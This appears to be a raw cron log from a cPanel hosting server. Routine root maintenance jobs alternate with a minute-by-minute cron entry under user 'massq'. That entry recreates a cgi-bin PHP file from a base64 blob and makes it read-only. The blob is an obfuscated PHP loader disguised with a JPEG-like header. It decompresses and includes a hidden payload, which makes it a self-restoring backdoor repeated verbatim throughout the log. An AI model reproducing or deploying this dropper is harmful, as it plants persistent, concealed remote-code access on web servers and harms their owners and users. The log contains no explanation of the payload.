Nov 16 01:39:01 server CROND[32044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:39:01 server CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 01:40:01 server CROND[32205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:40:01 server CROND[32204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:40:01 server CROND[32207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:40:01 server CROND[32206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:41:02 server CROND[32411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:42:01 server CROND[32542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:42:01 server CROND[32543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 01:43:01 server CROND[32676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:44:01 server CROND[335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:45:01 server CROND[555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:45:01 server CROND[556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:45:01 server CROND[557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:46:01 server CROND[736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:47:01 server CROND[842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:48:01 server CROND[964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:49:01 server CROND[1079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:50:01 server CROND[1290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:50:01 server CROND[1291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:50:01 server CROND[1292]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:50:01 server CROND[1295]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 01:50:01 server CROND[1294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:51:01 server CROND[1458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
